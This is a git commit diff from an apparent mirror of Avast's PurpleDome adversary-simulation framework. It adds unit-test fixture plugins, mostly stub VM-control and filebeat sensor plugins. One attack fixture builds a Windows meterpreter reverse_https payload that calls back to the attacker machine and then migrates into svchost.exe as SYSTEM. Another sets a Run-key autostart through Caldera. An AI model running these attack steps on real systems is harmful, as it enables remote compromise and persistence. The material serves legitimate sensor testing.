mirror of https://github.com/avast/PurpleDome
Unit tests for pluginmanager
parent
de71244776
commit
f9616c1d75
@ -0,0 +1,20 @@
|
|||||||
|
targets:
|
||||||
|
target1:
|
||||||
|
vm_controller:
|
||||||
|
type: vagrant
|
||||||
|
vagrantfilepath: systems
|
||||||
|
|
||||||
|
vm_name: target1
|
||||||
|
os: linux
|
||||||
|
###
|
||||||
|
# Targets need a unique PAW name for caldera
|
||||||
|
paw: target1
|
||||||
|
###
|
||||||
|
# Targets need to be in a group for caldera
|
||||||
|
group: red
|
||||||
|
|
||||||
|
machinepath: target1
|
||||||
|
# Do not destroy/create the machine: Set this to "yes".
|
||||||
|
use_existing_machine: yes
|
||||||
|
|
||||||
|
attackers:
|
@ -0,0 +1 @@
|
|||||||
|
targets:
|
@ -0,0 +1,22 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
# A plugin to nmap targets slow motion, to evade sensors
|
||||||
|
|
||||||
|
from plugins.base.attack import AttackPlugin, Requirement
|
||||||
|
|
||||||
|
|
||||||
|
class MissingRunPlugin(AttackPlugin):
|
||||||
|
|
||||||
|
# Boilerplate
|
||||||
|
name = "missing_run"
|
||||||
|
description = "Migrate meterpreter to another process via metasploit"
|
||||||
|
ttp = "T1055"
|
||||||
|
references = ["https://attack.mitre.org/techniques/T1055/"]
|
||||||
|
|
||||||
|
required_files = [] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share
|
||||||
|
|
||||||
|
requirements = [Requirement.METASPLOIT]
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
super().__init__()
|
||||||
|
self.plugin_path = __file__
|
@ -0,0 +1,43 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
# A plugin to nmap targets slow motion, to evade sensors
|
||||||
|
|
||||||
|
from plugins.base.attack import AttackPlugin, Requirement
|
||||||
|
from app.interface_sfx import CommandlineColors
|
||||||
|
|
||||||
|
|
||||||
|
class CalderaAutostartPlugin1(AttackPlugin):
|
||||||
|
|
||||||
|
# Boilerplate
|
||||||
|
name = "caldera_autostart_1"
|
||||||
|
description = "Setting a registry key for autostart"
|
||||||
|
ttp = "T1547.1"
|
||||||
|
references = ["https://attack.mitre.org/techniques/T1547/001/"]
|
||||||
|
|
||||||
|
required_files = [] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share
|
||||||
|
requirements = [Requirement.CALDERA]
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
super().__init__()
|
||||||
|
self.plugin_path = __file__
|
||||||
|
|
||||||
|
def run(self, targets):
|
||||||
|
""" Run the command
|
||||||
|
|
||||||
|
@param targets: A list of targets, ip addresses will do
|
||||||
|
"""
|
||||||
|
|
||||||
|
# HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
|
||||||
|
|
||||||
|
res = ""
|
||||||
|
self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}Starting caldera attack to add run key {CommandlineColors.ENDC}", 1)
|
||||||
|
self.caldera_attack(self.targets[0],
|
||||||
|
"163b023f43aba758d36f524d146cb8ea",
|
||||||
|
parameters={"command_to_execute": r"C:\\Windows\\system32\\calc.exe"},
|
||||||
|
tactics="Persistence",
|
||||||
|
tactics_id="TA0003",
|
||||||
|
situation_description="Setting an autorun key runonce")
|
||||||
|
self.attack_logger.vprint(
|
||||||
|
f"{CommandlineColors.OKBLUE}Ending caldera attack to add run key {CommandlineColors.ENDC}", 1)
|
||||||
|
|
||||||
|
return res
|
@ -0,0 +1,43 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
# A plugin to control already running vms
|
||||||
|
|
||||||
|
from plugins.base.machinery import MachineryPlugin, MachineStates
|
||||||
|
from plugins.base.ssh_features import SSHFeatures
|
||||||
|
|
||||||
|
|
||||||
|
class MachineryNoCreate(SSHFeatures, MachineryPlugin):
|
||||||
|
|
||||||
|
# Boilerplate
|
||||||
|
name = "machinery_no_create"
|
||||||
|
description = "A plugin to handle already running machines. The machine will not be started/stopped by this plugin"
|
||||||
|
|
||||||
|
required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
super().__init__()
|
||||||
|
self.plugin_path = __file__
|
||||||
|
self.vagrantfilepath = None
|
||||||
|
self.vagrantfile = None
|
||||||
|
|
||||||
|
def up(self):
|
||||||
|
""" Start a machine, create it if it does not exist """
|
||||||
|
return
|
||||||
|
|
||||||
|
def halt(self):
|
||||||
|
""" Halt a machine """
|
||||||
|
return
|
||||||
|
|
||||||
|
def destroy(self):
|
||||||
|
""" Destroy a machine """
|
||||||
|
return
|
||||||
|
|
||||||
|
def get_state(self):
|
||||||
|
""" Get detailed state of a machine """
|
||||||
|
|
||||||
|
return MachineStates.RUNNING
|
||||||
|
|
||||||
|
def get_ip(self):
|
||||||
|
""" Return the machine ip """
|
||||||
|
|
||||||
|
return self.config.vm_ip()
|
@ -0,0 +1,46 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
# A plugin to control already running vms
|
||||||
|
|
||||||
|
from plugins.base.machinery import MachineryPlugin, MachineStates
|
||||||
|
from plugins.base.ssh_features import SSHFeatures
|
||||||
|
|
||||||
|
|
||||||
|
class MachineryNoDestroy(SSHFeatures, MachineryPlugin):
|
||||||
|
|
||||||
|
# Boilerplate
|
||||||
|
name = "machinery_no_destroy"
|
||||||
|
description = "A plugin to handle already running machines. The machine will not be started/stopped by this plugin"
|
||||||
|
|
||||||
|
required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
super().__init__()
|
||||||
|
self.plugin_path = __file__
|
||||||
|
self.vagrantfilepath = None
|
||||||
|
self.vagrantfile = None
|
||||||
|
|
||||||
|
def create(self, reboot=True):
|
||||||
|
""" Create a machine
|
||||||
|
|
||||||
|
@param reboot: Reboot the VM during installation. Required if you want to install software
|
||||||
|
"""
|
||||||
|
return
|
||||||
|
|
||||||
|
def up(self):
|
||||||
|
""" Start a machine, create it if it does not exist """
|
||||||
|
return
|
||||||
|
|
||||||
|
def halt(self):
|
||||||
|
""" Halt a machine """
|
||||||
|
return
|
||||||
|
|
||||||
|
def get_state(self):
|
||||||
|
""" Get detailed state of a machine """
|
||||||
|
|
||||||
|
return MachineStates.RUNNING
|
||||||
|
|
||||||
|
def get_ip(self):
|
||||||
|
""" Return the machine ip """
|
||||||
|
|
||||||
|
return self.config.vm_ip()
|
@ -0,0 +1,46 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
# A plugin to control already running vms
|
||||||
|
|
||||||
|
from plugins.base.machinery import MachineryPlugin, MachineStates
|
||||||
|
from plugins.base.ssh_features import SSHFeatures
|
||||||
|
|
||||||
|
|
||||||
|
class MachineryNoHalt(SSHFeatures, MachineryPlugin):
|
||||||
|
|
||||||
|
# Boilerplate
|
||||||
|
name = "machinery_no_halt"
|
||||||
|
description = "A plugin to handle already running machines. The machine will not be started/stopped by this plugin"
|
||||||
|
|
||||||
|
required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
super().__init__()
|
||||||
|
self.plugin_path = __file__
|
||||||
|
self.vagrantfilepath = None
|
||||||
|
self.vagrantfile = None
|
||||||
|
|
||||||
|
def create(self, reboot=True):
|
||||||
|
""" Create a machine
|
||||||
|
|
||||||
|
@param reboot: Reboot the VM during installation. Required if you want to install software
|
||||||
|
"""
|
||||||
|
return
|
||||||
|
|
||||||
|
def up(self):
|
||||||
|
""" Start a machine, create it if it does not exist """
|
||||||
|
return
|
||||||
|
|
||||||
|
def destroy(self):
|
||||||
|
""" Destroy a machine """
|
||||||
|
return
|
||||||
|
|
||||||
|
def get_state(self):
|
||||||
|
""" Get detailed state of a machine """
|
||||||
|
|
||||||
|
return MachineStates.RUNNING
|
||||||
|
|
||||||
|
def get_ip(self):
|
||||||
|
""" Return the machine ip """
|
||||||
|
|
||||||
|
return self.config.vm_ip()
|
@ -0,0 +1,45 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
# A plugin to control already running vms
|
||||||
|
|
||||||
|
from plugins.base.machinery import MachineryPlugin, MachineStates
|
||||||
|
from plugins.base.ssh_features import SSHFeatures
|
||||||
|
|
||||||
|
|
||||||
|
class MachineryNoIp(SSHFeatures, MachineryPlugin):
|
||||||
|
|
||||||
|
# Boilerplate
|
||||||
|
name = "machinery_no_ip"
|
||||||
|
description = "A plugin to handle already running machines. The machine will not be started/stopped by this plugin"
|
||||||
|
|
||||||
|
required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
super().__init__()
|
||||||
|
self.plugin_path = __file__
|
||||||
|
self.vagrantfilepath = None
|
||||||
|
self.vagrantfile = None
|
||||||
|
|
||||||
|
def create(self, reboot=True):
|
||||||
|
""" Create a machine
|
||||||
|
|
||||||
|
@param reboot: Reboot the VM during installation. Required if you want to install software
|
||||||
|
"""
|
||||||
|
return
|
||||||
|
|
||||||
|
def up(self):
|
||||||
|
""" Start a machine, create it if it does not exist """
|
||||||
|
return
|
||||||
|
|
||||||
|
def halt(self):
|
||||||
|
""" Halt a machine """
|
||||||
|
return
|
||||||
|
|
||||||
|
def destroy(self):
|
||||||
|
""" Destroy a machine """
|
||||||
|
return
|
||||||
|
|
||||||
|
def get_state(self):
|
||||||
|
""" Get detailed state of a machine """
|
||||||
|
|
||||||
|
return MachineStates.RUNNING
|
@ -0,0 +1,45 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
# A plugin to control already running vms
|
||||||
|
|
||||||
|
from plugins.base.machinery import MachineryPlugin
|
||||||
|
from plugins.base.ssh_features import SSHFeatures
|
||||||
|
|
||||||
|
|
||||||
|
class MachineryNoState(SSHFeatures, MachineryPlugin):
|
||||||
|
|
||||||
|
# Boilerplate
|
||||||
|
name = "machinery_no_state"
|
||||||
|
description = "A plugin to handle already running machines. The machine will not be started/stopped by this plugin"
|
||||||
|
|
||||||
|
required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
super().__init__()
|
||||||
|
self.plugin_path = __file__
|
||||||
|
self.vagrantfilepath = None
|
||||||
|
self.vagrantfile = None
|
||||||
|
|
||||||
|
def create(self, reboot=True):
|
||||||
|
""" Create a machine
|
||||||
|
|
||||||
|
@param reboot: Reboot the VM during installation. Required if you want to install software
|
||||||
|
"""
|
||||||
|
return
|
||||||
|
|
||||||
|
def up(self):
|
||||||
|
""" Start a machine, create it if it does not exist """
|
||||||
|
return
|
||||||
|
|
||||||
|
def halt(self):
|
||||||
|
""" Halt a machine """
|
||||||
|
return
|
||||||
|
|
||||||
|
def destroy(self):
|
||||||
|
""" Destroy a machine """
|
||||||
|
return
|
||||||
|
|
||||||
|
def get_ip(self):
|
||||||
|
""" Return the machine ip """
|
||||||
|
|
||||||
|
return self.config.vm_ip()
|
@ -0,0 +1,46 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
# A plugin to control already running vms
|
||||||
|
|
||||||
|
from plugins.base.machinery import MachineryPlugin, MachineStates
|
||||||
|
from plugins.base.ssh_features import SSHFeatures
|
||||||
|
|
||||||
|
|
||||||
|
class MachineryNoUp(SSHFeatures, MachineryPlugin):
|
||||||
|
|
||||||
|
# Boilerplate
|
||||||
|
name = "machinery_no_up"
|
||||||
|
description = "A plugin to handle already running machines. The machine will not be started/stopped by this plugin"
|
||||||
|
|
||||||
|
required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
super().__init__()
|
||||||
|
self.plugin_path = __file__
|
||||||
|
self.vagrantfilepath = None
|
||||||
|
self.vagrantfile = None
|
||||||
|
|
||||||
|
def create(self, reboot=True):
|
||||||
|
""" Create a machine
|
||||||
|
|
||||||
|
@param reboot: Reboot the VM during installation. Required if you want to install software
|
||||||
|
"""
|
||||||
|
return
|
||||||
|
|
||||||
|
def halt(self):
|
||||||
|
""" Halt a machine """
|
||||||
|
return
|
||||||
|
|
||||||
|
def destroy(self):
|
||||||
|
""" Destroy a machine """
|
||||||
|
return
|
||||||
|
|
||||||
|
def get_state(self):
|
||||||
|
""" Get detailed state of a machine """
|
||||||
|
|
||||||
|
return MachineStates.RUNNING
|
||||||
|
|
||||||
|
def get_ip(self):
|
||||||
|
""" Return the machine ip """
|
||||||
|
|
||||||
|
return self.config.vm_ip()
|
@ -0,0 +1,50 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
# A plugin to control already running vms
|
||||||
|
|
||||||
|
from plugins.base.machinery import MachineryPlugin, MachineStates
|
||||||
|
from plugins.base.ssh_features import SSHFeatures
|
||||||
|
|
||||||
|
|
||||||
|
class MachineryOk(SSHFeatures, MachineryPlugin):
|
||||||
|
|
||||||
|
# Boilerplate
|
||||||
|
name = "machinery_ok"
|
||||||
|
description = "A plugin to handle already running machines. The machine will not be started/stopped by this plugin"
|
||||||
|
|
||||||
|
required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
super().__init__()
|
||||||
|
self.plugin_path = __file__
|
||||||
|
self.vagrantfilepath = None
|
||||||
|
self.vagrantfile = None
|
||||||
|
|
||||||
|
def create(self, reboot=True):
|
||||||
|
""" Create a machine
|
||||||
|
|
||||||
|
@param reboot: Reboot the VM during installation. Required if you want to install software
|
||||||
|
"""
|
||||||
|
return
|
||||||
|
|
||||||
|
def up(self):
|
||||||
|
""" Start a machine, create it if it does not exist """
|
||||||
|
return
|
||||||
|
|
||||||
|
def halt(self):
|
||||||
|
""" Halt a machine """
|
||||||
|
return
|
||||||
|
|
||||||
|
def destroy(self):
|
||||||
|
""" Destroy a machine """
|
||||||
|
return
|
||||||
|
|
||||||
|
def get_state(self):
|
||||||
|
""" Get detailed state of a machine """
|
||||||
|
|
||||||
|
return MachineStates.RUNNING
|
||||||
|
|
||||||
|
def get_ip(self):
|
||||||
|
""" Return the machine ip """
|
||||||
|
|
||||||
|
return self.config.vm_ip()
|
@ -0,0 +1,49 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
# A plugin to nmap targets slow motion, to evade sensors
|
||||||
|
|
||||||
|
from plugins.base.attack import AttackPlugin, Requirement
|
||||||
|
import socket
|
||||||
|
|
||||||
|
|
||||||
|
class MetasploitMigratePlugin(AttackPlugin):
|
||||||
|
|
||||||
|
# Boilerplate
|
||||||
|
name = "metasploit_migrate"
|
||||||
|
description = "Migrate meterpreter to another process via metasploit"
|
||||||
|
ttp = "T1055"
|
||||||
|
references = ["https://attack.mitre.org/techniques/T1055/"]
|
||||||
|
|
||||||
|
required_files = [] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share
|
||||||
|
|
||||||
|
requirements = [Requirement.METASPLOIT]
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
super().__init__()
|
||||||
|
self.plugin_path = __file__
|
||||||
|
|
||||||
|
def run(self, targets):
|
||||||
|
""" Run the command
|
||||||
|
|
||||||
|
@param targets: A list of targets, ip addresses will do
|
||||||
|
"""
|
||||||
|
|
||||||
|
res = ""
|
||||||
|
payload_type = "windows/x64/meterpreter/reverse_https"
|
||||||
|
payload_name = "babymetal.exe"
|
||||||
|
target = self.targets[0]
|
||||||
|
|
||||||
|
ip = socket.gethostbyname(self.attacker_machine_plugin.get_ip())
|
||||||
|
|
||||||
|
self.metasploit.smart_infect(target,
|
||||||
|
payload=payload_type,
|
||||||
|
architecture="x64",
|
||||||
|
platform="windows",
|
||||||
|
lhost=ip,
|
||||||
|
format="exe",
|
||||||
|
outfile=payload_name
|
||||||
|
)
|
||||||
|
|
||||||
|
self.metasploit.migrate(target, user="NT AUTHORITY\\SYSTEM", name="svchost.exe", arch="x64")
|
||||||
|
|
||||||
|
return res
|
@ -0,0 +1,94 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
# A plugin to experiment with Linux logstash filebeat sensors
|
||||||
|
|
||||||
|
from plugins.base.sensor import SensorPlugin
|
||||||
|
import os
|
||||||
|
from jinja2 import Environment, FileSystemLoader, select_autoescape
|
||||||
|
|
||||||
|
|
||||||
|
class SensorMissingCollectPlugin(SensorPlugin):
|
||||||
|
# Boilerplate
|
||||||
|
name = "missing_collect"
|
||||||
|
description = "Linux filebeat plugin"
|
||||||
|
|
||||||
|
required_files = ["filebeat.conf",
|
||||||
|
"filebeat.yml",
|
||||||
|
]
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
super().__init__()
|
||||||
|
self.plugin_path = __file__
|
||||||
|
|
||||||
|
self.debugit = False
|
||||||
|
|
||||||
|
def process_templates(self):
|
||||||
|
""" process jinja2 templates of the config files and insert own config """
|
||||||
|
|
||||||
|
env = Environment(
|
||||||
|
loader=FileSystemLoader(self.get_plugin_path(), encoding='utf-8', followlinks=False),
|
||||||
|
autoescape=select_autoescape()
|
||||||
|
)
|
||||||
|
template = env.get_template("filebeat_template.conf")
|
||||||
|
dest = os.path.join(self.get_plugin_path(), "filebeat.conf")
|
||||||
|
with open(dest, "wt") as fh:
|
||||||
|
res = template.render({"playground": self.get_playground()})
|
||||||
|
fh.write(res)
|
||||||
|
|
||||||
|
def prime(self):
|
||||||
|
""" Hard-core install. Requires a reboot """
|
||||||
|
|
||||||
|
# For reference: This is the core config we will need. In addition there are two reg files to apply to the registry
|
||||||
|
# sc control aswbidsagent 255
|
||||||
|
# timeout /t 5
|
||||||
|
# 'copy /y "cd %userprofile% & aswidptestdll.dll" "c:\Program Files\Avast Software\Avast\"'
|
||||||
|
# reg.exe add "HKLM\SOFTWARE\Avast Software\Avast\properties\IDP\Setting" /v debug_channel.enabled /t REG_DWORD /d 1 /f
|
||||||
|
# timeout /t 2
|
||||||
|
# sc start aswbidsagent
|
||||||
|
|
||||||
|
# Important: AV must be 21.2
|
||||||
|
# dll_name = self.conf["dll_name"]
|
||||||
|
|
||||||
|
# idp_tool_folder = self.conf["idp_tool_folder"]
|
||||||
|
|
||||||
|
pg = self.get_playground()
|
||||||
|
|
||||||
|
self.vprint("Installing Linux filebeat sensor", 3)
|
||||||
|
|
||||||
|
self.run_cmd("sudo wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -")
|
||||||
|
self.run_cmd('sudo echo "deb https://artifacts.elastic.co/packages/7.x/apt stable main" | sudo tee /etc/apt/sources.list.d/elastic-7.x.list')
|
||||||
|
self.run_cmd("sudo apt update")
|
||||||
|
self.run_cmd("sudo apt -y install default-jre")
|
||||||
|
self.run_cmd("sudo apt -y install logstash")
|
||||||
|
self.run_cmd("sudo apt -y install filebeat")
|
||||||
|
|
||||||
|
# Copy config
|
||||||
|
self.run_cmd(f"sudo cp {pg}/filebeat.yml /etc/filebeat/filebeat.yml")
|
||||||
|
self.run_cmd(f"sudo cp {pg}/filebeat.conf /etc/logstash/conf.d")
|
||||||
|
|
||||||
|
# Cleanup
|
||||||
|
self.run_cmd(f"rm {pg}/filebeat.json")
|
||||||
|
self.run_cmd(f"touch {pg}/filebeat.json")
|
||||||
|
self.run_cmd(f"chmod o+w {pg}/filebeat.json")
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
def install(self):
|
||||||
|
""" Installs the filebeat sensor """
|
||||||
|
|
||||||
|
return
|
||||||
|
|
||||||
|
def start(self):
|
||||||
|
|
||||||
|
self.run_cmd("sudo filebeat modules enable system,iptables")
|
||||||
|
self.run_cmd("sudo filebeat setup --pipelines --modules iptables,system,")
|
||||||
|
self.run_cmd("sudo systemctl enable filebeat")
|
||||||
|
self.run_cmd("sudo systemctl start filebeat")
|
||||||
|
self.run_cmd("sudo systemctl enable logstash.service")
|
||||||
|
self.run_cmd("sudo systemctl start logstash.service")
|
||||||
|
|
||||||
|
return None
|
||||||
|
|
||||||
|
def stop(self):
|
||||||
|
""" Stop the sensor """
|
||||||
|
return
|
@ -0,0 +1,102 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
# A plugin to experiment with Linux logstash filebeat sensors
|
||||||
|
|
||||||
|
from plugins.base.sensor import SensorPlugin
|
||||||
|
import os
|
||||||
|
from jinja2 import Environment, FileSystemLoader, select_autoescape
|
||||||
|
|
||||||
|
|
||||||
|
class SensorOkPlugin(SensorPlugin):
|
||||||
|
# Boilerplate
|
||||||
|
name = "sensor_ok"
|
||||||
|
description = "Linux filebeat plugin"
|
||||||
|
|
||||||
|
required_files = ["filebeat.conf",
|
||||||
|
"filebeat.yml",
|
||||||
|
]
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
super().__init__()
|
||||||
|
self.plugin_path = __file__
|
||||||
|
|
||||||
|
self.debugit = False
|
||||||
|
|
||||||
|
def process_templates(self):
|
||||||
|
""" process jinja2 templates of the config files and insert own config """
|
||||||
|
|
||||||
|
env = Environment(
|
||||||
|
loader=FileSystemLoader(self.get_plugin_path(), encoding='utf-8', followlinks=False),
|
||||||
|
autoescape=select_autoescape()
|
||||||
|
)
|
||||||
|
template = env.get_template("filebeat_template.conf")
|
||||||
|
dest = os.path.join(self.get_plugin_path(), "filebeat.conf")
|
||||||
|
with open(dest, "wt") as fh:
|
||||||
|
res = template.render({"playground": self.get_playground()})
|
||||||
|
fh.write(res)
|
||||||
|
|
||||||
|
def prime(self):
|
||||||
|
""" Hard-core install. Requires a reboot """
|
||||||
|
|
||||||
|
# For reference: This is the core config we will need. In addition there are two reg files to apply to the registry
|
||||||
|
# sc control aswbidsagent 255
|
||||||
|
# timeout /t 5
|
||||||
|
# 'copy /y "cd %userprofile% & aswidptestdll.dll" "c:\Program Files\Avast Software\Avast\"'
|
||||||
|
# reg.exe add "HKLM\SOFTWARE\Avast Software\Avast\properties\IDP\Setting" /v debug_channel.enabled /t REG_DWORD /d 1 /f
|
||||||
|
# timeout /t 2
|
||||||
|
# sc start aswbidsagent
|
||||||
|
|
||||||
|
# Important: AV must be 21.2
|
||||||
|
# dll_name = self.conf["dll_name"]
|
||||||
|
|
||||||
|
# idp_tool_folder = self.conf["idp_tool_folder"]
|
||||||
|
|
||||||
|
pg = self.get_playground()
|
||||||
|
|
||||||
|
self.vprint("Installing Linux filebeat sensor", 3)
|
||||||
|
|
||||||
|
self.run_cmd("sudo wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -")
|
||||||
|
self.run_cmd('sudo echo "deb https://artifacts.elastic.co/packages/7.x/apt stable main" | sudo tee /etc/apt/sources.list.d/elastic-7.x.list')
|
||||||
|
self.run_cmd("sudo apt update")
|
||||||
|
self.run_cmd("sudo apt -y install default-jre")
|
||||||
|
self.run_cmd("sudo apt -y install logstash")
|
||||||
|
self.run_cmd("sudo apt -y install filebeat")
|
||||||
|
|
||||||
|
# Copy config
|
||||||
|
self.run_cmd(f"sudo cp {pg}/filebeat.yml /etc/filebeat/filebeat.yml")
|
||||||
|
self.run_cmd(f"sudo cp {pg}/filebeat.conf /etc/logstash/conf.d")
|
||||||
|
|
||||||
|
# Cleanup
|
||||||
|
self.run_cmd(f"rm {pg}/filebeat.json")
|
||||||
|
self.run_cmd(f"touch {pg}/filebeat.json")
|
||||||
|
self.run_cmd(f"chmod o+w {pg}/filebeat.json")
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
def install(self):
|
||||||
|
""" Installs the filebeat sensor """
|
||||||
|
|
||||||
|
return
|
||||||
|
|
||||||
|
def start(self):
|
||||||
|
|
||||||
|
self.run_cmd("sudo filebeat modules enable system,iptables")
|
||||||
|
self.run_cmd("sudo filebeat setup --pipelines --modules iptables,system,")
|
||||||
|
self.run_cmd("sudo systemctl enable filebeat")
|
||||||
|
self.run_cmd("sudo systemctl start filebeat")
|
||||||
|
self.run_cmd("sudo systemctl enable logstash.service")
|
||||||
|
self.run_cmd("sudo systemctl start logstash.service")
|
||||||
|
|
||||||
|
return None
|
||||||
|
|
||||||
|
def stop(self):
|
||||||
|
""" Stop the sensor """
|
||||||
|
return
|
||||||
|
|
||||||
|
def collect(self, path):
|
||||||
|
""" Collect sensor data """
|
||||||
|
|
||||||
|
pg = self.get_playground()
|
||||||
|
dst = os.path.join(path, "filebeat.json")
|
||||||
|
self.get_from_machine(f"{pg}/filebeat.json", dst) # nosec
|
||||||
|
return [dst]
|
@ -0,0 +1,102 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
# A plugin to experiment with Linux logstash filebeat sensors
|
||||||
|
|
||||||
|
from plugins.base.sensor import SensorPlugin
|
||||||
|
import os
|
||||||
|
from jinja2 import Environment, FileSystemLoader, select_autoescape
|
||||||
|
|
||||||
|
|
||||||
|
class SensorIgnoreMePlugin(SensorPlugin):
|
||||||
|
# Boilerplate
|
||||||
|
name = "ignore_me"
|
||||||
|
description = "Linux filebeat plugin"
|
||||||
|
|
||||||
|
required_files = ["filebeat.conf",
|
||||||
|
"filebeat.yml",
|
||||||
|
]
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
super().__init__()
|
||||||
|
self.plugin_path = __file__
|
||||||
|
|
||||||
|
self.debugit = False
|
||||||
|
|
||||||
|
def process_templates(self):
|
||||||
|
""" process jinja2 templates of the config files and insert own config """
|
||||||
|
|
||||||
|
env = Environment(
|
||||||
|
loader=FileSystemLoader(self.get_plugin_path(), encoding='utf-8', followlinks=False),
|
||||||
|
autoescape=select_autoescape()
|
||||||
|
)
|
||||||
|
template = env.get_template("filebeat_template.conf")
|
||||||
|
dest = os.path.join(self.get_plugin_path(), "filebeat.conf")
|
||||||
|
with open(dest, "wt") as fh:
|
||||||
|
res = template.render({"playground": self.get_playground()})
|
||||||
|
fh.write(res)
|
||||||
|
|
||||||
|
def prime(self):
|
||||||
|
""" Hard-core install. Requires a reboot """
|
||||||
|
|
||||||
|
# For reference: This is the core config we will need. In addition there are two reg files to apply to the registry
|
||||||
|
# sc control aswbidsagent 255
|
||||||
|
# timeout /t 5
|
||||||
|
# 'copy /y "cd %userprofile% & aswidptestdll.dll" "c:\Program Files\Avast Software\Avast\"'
|
||||||
|
# reg.exe add "HKLM\SOFTWARE\Avast Software\Avast\properties\IDP\Setting" /v debug_channel.enabled /t REG_DWORD /d 1 /f
|
||||||
|
# timeout /t 2
|
||||||
|
# sc start aswbidsagent
|
||||||
|
|
||||||
|
# Important: AV must be 21.2
|
||||||
|
# dll_name = self.conf["dll_name"]
|
||||||
|
|
||||||
|
# idp_tool_folder = self.conf["idp_tool_folder"]
|
||||||
|
|
||||||
|
pg = self.get_playground()
|
||||||
|
|
||||||
|
self.vprint("Installing Linux filebeat sensor", 3)
|
||||||
|
|
||||||
|
self.run_cmd("sudo wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -")
|
||||||
|
self.run_cmd('sudo echo "deb https://artifacts.elastic.co/packages/7.x/apt stable main" | sudo tee /etc/apt/sources.list.d/elastic-7.x.list')
|
||||||
|
self.run_cmd("sudo apt update")
|
||||||
|
self.run_cmd("sudo apt -y install default-jre")
|
||||||
|
self.run_cmd("sudo apt -y install logstash")
|
||||||
|
self.run_cmd("sudo apt -y install filebeat")
|
||||||
|
|
||||||
|
# Copy config
|
||||||
|
self.run_cmd(f"sudo cp {pg}/filebeat.yml /etc/filebeat/filebeat.yml")
|
||||||
|
self.run_cmd(f"sudo cp {pg}/filebeat.conf /etc/logstash/conf.d")
|
||||||
|
|
||||||
|
# Cleanup
|
||||||
|
self.run_cmd(f"rm {pg}/filebeat.json")
|
||||||
|
self.run_cmd(f"touch {pg}/filebeat.json")
|
||||||
|
self.run_cmd(f"chmod o+w {pg}/filebeat.json")
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
def install(self):
|
||||||
|
""" Installs the filebeat sensor """
|
||||||
|
|
||||||
|
return
|
||||||
|
|
||||||
|
def start(self):
|
||||||
|
|
||||||
|
self.run_cmd("sudo filebeat modules enable system,iptables")
|
||||||
|
self.run_cmd("sudo filebeat setup --pipelines --modules iptables,system,")
|
||||||
|
self.run_cmd("sudo systemctl enable filebeat")
|
||||||
|
self.run_cmd("sudo systemctl start filebeat")
|
||||||
|
self.run_cmd("sudo systemctl enable logstash.service")
|
||||||
|
self.run_cmd("sudo systemctl start logstash.service")
|
||||||
|
|
||||||
|
return None
|
||||||
|
|
||||||
|
def stop(self):
|
||||||
|
""" Stop the sensor """
|
||||||
|
return
|
||||||
|
|
||||||
|
def collect(self, path):
|
||||||
|
""" Collect sensor data """
|
||||||
|
|
||||||
|
pg = self.get_playground()
|
||||||
|
dst = os.path.join(path, "filebeat.json")
|
||||||
|
self.get_from_machine(f"{pg}/filebeat.json", dst) # nosec
|
||||||
|
return [dst]
|
@ -0,0 +1,102 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
# A plugin to experiment with Linux logstash filebeat sensors
|
||||||
|
|
||||||
|
from plugins.base.sensor import SensorPlugin
|
||||||
|
import os
|
||||||
|
from jinja2 import Environment, FileSystemLoader, select_autoescape
|
||||||
|
|
||||||
|
|
||||||
|
class SensorPickMePlugin(SensorPlugin):
|
||||||
|
# Boilerplate
|
||||||
|
name = "pick_me"
|
||||||
|
description = "Linux filebeat plugin"
|
||||||
|
|
||||||
|
required_files = ["filebeat.conf",
|
||||||
|
"filebeat.yml",
|
||||||
|
]
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
super().__init__()
|
||||||
